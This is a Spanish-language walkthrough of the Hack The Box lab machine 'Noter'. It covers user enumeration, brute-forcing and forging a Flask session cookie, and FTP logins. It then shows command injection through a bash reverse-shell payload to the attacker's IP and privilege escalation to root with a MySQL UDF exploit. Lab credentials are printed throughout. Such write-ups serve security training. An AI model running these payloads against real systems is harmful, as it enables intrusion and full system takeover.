Índice
- Información básica de la máquina
- Herramientas y recursos empleados
- Fase de enumeración
- ¿Tienes algún secreto?
- Accediendo a ftp como blue
- Accediendo a ftp como ftp_admin
- ¿Hay algo o alguien aquí?
- Escalando privilegios
Máquina Noter
IP | 10.10.11.160 |
---|---|
OS | Linux |
Dificultad | Media |
Creador | kavigihan |
Herramientas y recursos empleados
- Herramientas
- nmap
- wfuzz
- flask-unsign
- ftp
- netcat
- Recursos
- hacktricks
- SecLists
Fase de enumeración
Iniciamos con un escaneo de todos los puertos abiertos y la detección de servicios para los mismos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nmap -sCV -oN scope.txt 10.10.11.160
Nmap scan report for 10.10.11.160
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Tenemos el puerto 21 (ftp), 22 (SSH) y 5000 (http), al parecer usando python con Werkzeug
. Intentemos conectarnos a través de ftp
como anonymous
con una contraseña vacía:
1
2
3
4
5
6
7
8
❯ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:$(USER)): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.
No podemos acceder, necesitamos credenciales. Tampoco tenemos credenciales para conectarnos por SSH, así que de momento lo dejamos y vamos a por el siguiente servicio, el puerto 5000.
Vamos a nuestro navegador favorito y ponemos http://10.10.11.160:5000
para realizar la búsqueda. Observamos lo siguiente:
Es una web para guardar notas. Podemos intentar credenciales por defecto en Login
como:
- admin:admin
- administrator:administrator
- guest:guest
Sin embargo, ninguna funciona. Así que vamos a registrarnos para tener un poco más de alcance:
Bueno, vemos que podemos hacer varias cosas, entre ellas: ver nuestras notas y comprar una membresía VIP. También vemos algo interesante: el usuario con el cual ingresamos, se refleja en el dashboard, por lo que podríamos pensar en SSTI
—ya os digo que no sucede nada si hacemos pruebas en el usuario, en el título de las notas ni en el cuerpo de las notas—. Inspeccionando un poco más, nos encontramos algo con lo que podemos jugar: un JWT (Json Web Token) guardado en las cookies de nuestra sesión:
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdDEyMyJ9.YxEeSg.4OIleiyuMjzHlWq0byrDImDLaqU
Veamos qué contiene al pasarlo a esta web o también podemos decodear la primer parte del Token desde consola:
1
2
3
4
5
6
❯ echo 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdDEyMyJ9' | base64 -d | jq
{
"logged_in": true,
"username": "test123"
}
En la web tenemos más datos como el tipo de cifrado
HMACSHA256
Enumerando usuarios
Anteriormente en el intento de acceder usando credenciales por defecto, vimos el mensaje de error Invalid credentials
. Cuando usamos el usuario que registramos (test123
) con una contraseña errónea, aparece el mensaje Ìnvalid login
, así que tenemos una vía potencial de enumerar usuarios. Denodo a lo anterior usaré wfuzz
—también podríamos crear un script en python para el mismo fin—:
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ wfuzz -c --ss 'Invalid login' -w /usr/share/SecLists/Usernames/Names/names.txt -d 'username=FUZZ&password=admin' -H 'Content-Type: application/x-www-form-urlencoded' http://10.10.11.160:5000/login
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.160:5000/login
Total requests: 10177
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001208: 200 68 L 110 W 2027 Ch "blue"
- -c: salida con colores
- --ss: show regex
- -w: diccionario
- -d: datos
- -H: cabecera
¿Tienes algún secreto?
El formato de datos lo podemos ver en la petición que mandamos al intentar ingresar con un usuario y contraseña desde el navegador. Lo importante: obtuvimos un usuario, blue
¿Y ahora qué? Bueno, haciendo una búsqueda por internet o más bien en la “Biblia”, hacktricks, nos encontramos con algo que nos puede ayudar a crackear el secreto
del JWT
:
1
2
3
4
5
❯ flask-unsign --wordlist /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdDEyMyJ9.YxEeSg.4OIleiyuMjzHlWq0byrDImDLaqU' --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'test123'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 18048 attempts
b'secret123'
Ahora que tenemos el secreto secret123
, podemos construir nuestro propio JWT
para conectarnos con el usuario blue
:
1
2
❯ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YxEq4Q.mqsQtRYlhrqrq2hkn604WPY2PLY
Cambiamos en el navegador la cookie que teníamos por la que hemos construido y accedemos. Al entrar a la sesión vemos que tiene VIP
—con un usuario normal no la teníamos—. Además, observamos que hay dos notas, y una de ellas es ‘Noter Premium Membership’ en la que encontramos lo siguiente:
Written by ftp_admin on Mon Dec 20 01:52:32 2021 Hello, Thank you for choosing our premium service. Now you are capable of doing many more things with our application. All the information you are going to need are on the Email we sent you. By the way, now you can access our FTP service as well. Your username is ‘blue’ and the password is ‘blue@Noter!’. Make sure to remember them and delete this.
(Additional information are included in the attachments we sent along the Email)
We all hope you enjoy our service. Thanks!
ftp_admin
Accediendo a ftp como blue
¡Ahora tenemos credenciales para acceder por ftp! Cuando accedemos obtenemos lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:$(USER)): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 0 1002 4096 May 02 23:05 .
drwxr-xr-x 3 0 1002 4096 May 02 23:05 ..
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 2021 policy.pdf
ftp>
El archivo PDF nos dice la política que se emplea para las contraseñas
username@site_name!
.
Accediendo a ftp como ftp_admin
Sabiendo lo anterior, podemos intentar acceder como el usuario admin
siguiendo la política:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:rabb1t0xf): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 1003 4096 May 02 23:05 .
drwxr-xr-x 2 0 1003 4096 May 02 23:05 ..
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
226 Directory send OK.
contraseña:
ftp_admin@Noter!
¡Obtuvimos acceso! Además hay dos backups. Sin rechistar los descargamos:
1
2
3
4
5
6
7
8
9
10
11
12
ftp> get app_backup_1635803546.zip app1.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
226 Transfer complete.
25559 bytes received in 0,286 seconds (87,3 kbytes/s)
ftp> get app_backup_1638395546.zip app2.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
226 Transfer complete.
26298 bytes received in 0,28 seconds (91,9 kbytes/s)
ftp> quit
221 Goodbye.
¿Hay algo o alguien aquí?
Revisando los archivos, nos encontramos con credenciales para la base de datos MySQL:
1
2
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
Como no tenemos acceso al sistema, debemos pensar en meternos… Dentro de uno de los archivos app.py
vemos dos funciones que están usando el ejecutable /bin/bash
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def export_note_local(id):
if check_VIP(session['username']):
cur = mysql.connection.cursor()
result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username']))
if result > 0:
note = cur.fetchone()
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
else:
return render_template('dashboard.html')
else:
abort(403)
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']
status, error = parse_url(url)
if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
else:
return render_template('export_note.html', error="Error occured while exporting the !")
except Exception as e:
return render_template('export_note.html', error="Error occured!")
else:
return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
except Exception as e:
return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
else:
abort(403)
Además, vemos que md-to-pdf.js
se ejecuta con NodeJS. Haciendo una búsqueda por internet nos encontramos una vulnerabilidad que podríamos probar en la sección de la web Export Notes que se otorga solamente para usuarios ‘VIP’:
Creamos un archivo malicioso:
1
❯ echo "--';bash -i >& /dev/tcp/10.10.14.44/4433 0>&1;'--" > rev.md
Levantamos un servidor con python:
1
❯ python3 -m http.server
Y en otra ventana debemos ponernos en “escucha” con netcat
en el puerto que específicamos dentro del archivo malicioso, 4433
:
1
❯ netcat -lnvp 4433
Y en el campo URL ponemos lo siguiente http://10.10.14.44:8000/rev.md
(que es nuestra IP, el puerto del servidor y el archivo malicioso, respectivamente). Presionamos en exportar
y obtenemos una conexión remota:
1
2
3
4
5
6
❯ netcat -lnvp 4433
Listening on 0.0.0.0 4433
Connection received on 10.10.11.160 49170
bash: cannot set terminal process group (1261): Inappropriate ioctl for device
bash: no job control in this shell
svc@noter:~/app/web$
Escalando privilegios
Después de hacer una enumeración básica, no encontramos nada de lo que nos podamos aprovechar. Recordemos que tenemos credenciales para conectarnos a la base de datos. Hay una técnica de escalada de privilegios mediante MySQL
que podemos probar usando este exploit, subiendo el archivo a la máquina víctima y haciendo lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
svc@noter:~/tmp$ gcc -g -c raptor_udf2.c
svc@noter:~/tmp$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
svc@noter:~/tmp$ mysql -u 'root' -p'Nildogg36'
MariaDB [(none)]> use mysql;
Database changed
MariaDB [mysql]> create table test(line blob);
Query OK, 0 rows affected
MariaDB [mysql]> insert into test values(load_file('/home/tmp/raptor_udf2.so'));
Query OK, 1 row affected
MariaDB [mysql]> select * from test into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected
MariaDB [mysql]> select do_system('chmod u+s /bin/bash');
+----------------------------------+
| do_system('chmod u+s /bin/bash') |
+----------------------------------+
| 0 |
+----------------------------------+
MariaDB [mysql]> exit
Bye
Ejecutamos el binario bash
con privilegios (-p
) y nos convertimos en root
:
1
2
3
4
svc@noter:~/tmp$ /bin/bash -p
bash-5.0\# whoami
root
bash-5.0#
¡Happy Hacking!